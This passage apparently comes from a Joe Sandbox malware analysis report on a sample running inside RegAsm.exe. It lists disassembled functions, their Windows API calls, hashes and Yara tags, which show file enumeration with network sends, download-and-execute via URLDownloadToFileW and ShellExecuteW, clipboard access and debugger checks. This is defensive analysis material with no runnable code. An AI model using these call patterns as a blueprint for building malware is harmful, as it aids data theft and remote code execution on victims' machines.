                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                              • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                              • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                              • FindClose.KERNEL32(00000000), ref: 004093C1
                                • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                                • Part of subcall function 00404E26: SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                                • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                              • FindClose.KERNEL32(00000000), ref: 004095B9
                                • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                              • String ID:
                              • API String ID: 1824512719-0
                              • Opcode ID: 79a333ab798d4f3832fd98009e5fc83f15b4850663dec53ce8833ea938511d01
                              • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                              • Opcode Fuzzy Hash: 79a333ab798d4f3832fd98009e5fc83f15b4850663dec53ce8833ea938511d01
                              • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                              Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                              • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ManagerStart
                              • String ID:
                              • API String ID: 276877138-0
                              • Opcode ID: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                              • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                              • Opcode Fuzzy Hash: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                              • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                              Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                              Download Yara Rule
                              APIs
                              • FindResourceA.KERNEL32 ref: 0041B4B9
                              • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                              • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                              • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Resource$FindLoadLockSizeof
                              • String ID: SETTINGS
                              • API String ID: 3473537107-594951305
                              • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                              • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                              • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                              • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                              Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 0040966A
                              • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                              • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                              • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$File$CloseFirstH_prologNext
                              • String ID:
                              • API String ID: 1157919129-0
                              • Opcode ID: fb173912142d451d8169f8852f62cc003beda93b99b20e6bd32f4a4dc40a9ea1
                              • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                              • Opcode Fuzzy Hash: fb173912142d451d8169f8852f62cc003beda93b99b20e6bd32f4a4dc40a9ea1
                              • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                              Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 00408811
                              • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                              • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                              • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                              • String ID:
                              • API String ID: 1771804793-0
                              • Opcode ID: 8f16439d90f6ec0f7283b04e08810252f4f5a069acaf261fa4213b3c41c94a9d
                              • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                              • Opcode Fuzzy Hash: 8f16439d90f6ec0f7283b04e08810252f4f5a069acaf261fa4213b3c41c94a9d
                              • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                              Function 00451CD8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 236COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                              • String ID: sJD$5}/
                              • API String ID: 1661935332-505850802
                              • Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                              • Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
                              • Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                              • Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769
                              Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                              Download Yara Rule
                              APIs
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                              • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DownloadExecuteFileShell
                              • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$open
                              • API String ID: 2825088817-3056885514
                              • Opcode ID: 04b4479cfc875b759f2309251f1f784269732d1ca75bb09c24481e831bd5b80b
                              • Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
                              • Opcode Fuzzy Hash: 04b4479cfc875b759f2309251f1f784269732d1ca75bb09c24481e831bd5b80b
                              • Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B
                              Function 004520C3 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorInfoLastLocale$_free$_abort
                              • String ID: 5}/
                              • API String ID: 2829624132-169246594
                              • Opcode ID: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                              • Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
                              • Opcode Fuzzy Hash: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                              • Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58
                              Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                              • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileFind$FirstNextsend
                              • String ID: XPG$XPG
                              • API String ID: 4113138495-1962359302
                              • Opcode ID: ef4afc18dc9d34da461ea20a285219582541565e32a666253127ded6bb227160
                              • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                              • Opcode Fuzzy Hash: ef4afc18dc9d34da461ea20a285219582541565e32a666253127ded6bb227160
                              • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                              Function 0043BB22 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • IsDebuggerPresent.KERNEL32 ref: 0043BC1A
                              • SetUnhandledExceptionFilter.KERNEL32 ref: 0043BC24
                              • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExceptionFilterUnhandled$DebuggerPresent
                              • String ID: 5}/
                              • API String ID: 3906539128-169246594
                              • Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                              • Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
                              • Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                              • Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48
                              Function 0044E879 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: .$5}/
                              • API String ID: 0-365223355
                              • Opcode ID: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                              • Instruction ID: 28de479bcd0ee174bbf7ea2f8c467f6584cf945aa63ddb2e5cfeaaf716254919
                              • Opcode Fuzzy Hash: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                              • Instruction Fuzzy Hash: 233106B2900149AFEB249E7ACC85EEB7BBDEF45304F1001AEE819D7291E6349D458B54
                              Function 004488ED Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InfoLocale
                              • String ID: GetLocaleInfoEx$5}/
                              • API String ID: 2299586839-2917969187
                              • Opcode ID: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                              • Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
                              • Opcode Fuzzy Hash: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                              • Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E
                              Function 004432B5 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetCurrentProcess.KERNEL32(?,?,0044328B,?), ref: 004432D6
                              • TerminateProcess.KERNEL32(00000000,?,0044328B,?), ref: 004432DD
                              • ExitProcess.KERNEL32 ref: 004432EF
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$CurrentExitTerminate
                              • String ID:
                              • API String ID: 1703294689-0
                              • Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                              • Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
                              • Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                              • Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98
                              Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Clipboard$CloseDataOpen
                              • String ID:
                              • API String ID: 2058664381-0
                              • Opcode ID: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                              • Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
                              • Opcode Fuzzy Hash: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                              • Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD
                              Function 00452313 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$_free$InfoLocale_abort
                              • String ID: 5}/
                              • API String ID: 1663032902-169246594
                              • Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                              • Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
                              • Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                              • Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58
                              Function 00451F9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • EnumSystemLocalesW.KERNEL32(004520C3,00000001,00000000,?,lJD,?,004526F0,00000000,?,?,?), ref: 0045200D
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                              • String ID: lJD
                              • API String ID: 1084509184-3316369744
                              • Opcode ID: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                              • Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
                              • Opcode Fuzzy Hash: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                              • Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44
                              Function 00452036 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • EnumSystemLocalesW.KERNEL32(00452313,00000001,?,?,lJD,?,004526B4,lJD,?,?,?,?,?,00444A6C,?,?), ref: 00452082
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                              • String ID: lJD
                              • API String ID: 1084509184-3316369744
                              • Opcode ID: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                              • Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
                              • Opcode Fuzzy Hash: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                              • Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604
                              Function 00448404 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(-0006D41D,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                              • EnumSystemLocalesW.KERNEL32(004483BE,00000001,0046EAD0,0000000C), ref: 0044843C
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CriticalEnterEnumLocalesSectionSystem
                              • String ID: 5}/
                              • API String ID: 1272433827-169246594
                              • Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                              • Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
                              • Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                              • Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09
                              Function 00412077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON
                              Download Yara Rule
                              APIs
                              • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                              • HeapFree.KERNEL32(00000000), ref: 004120EE
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Heap$FreeProcess
                              • String ID:
                              • API String ID: 3859560861-0
                              • Opcode ID: f8b7229bde56183a56125516245bdcff620dba8344b2748e8b36a977d3a4176b
                              • Instruction ID: eee285bae3a3c664d400e4c5f5e220380537cd22e0998a3ce94cd1697e41dfe3
                              • Opcode Fuzzy Hash: f8b7229bde56183a56125516245bdcff620dba8344b2748e8b36a977d3a4176b
                              • Instruction Fuzzy Hash: 16112A32000B11EFC7305F64DE85957BBE9FF08715314892EE29696921CB76FCA0CB58
                              Function 00434C52 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                              Download Yara Rule
                              APIs
                              • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00434C6B
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FeaturePresentProcessor
                              • String ID:
                              • API String ID: 2325560087-0
                              • Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                              • Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
                              • Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                              • Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94
                              Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$InfoLocale_abort_free
                              • String ID:
                              • API String ID: 2692324296-0
                              • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                              • Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
                              • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                              • Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698
                              Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
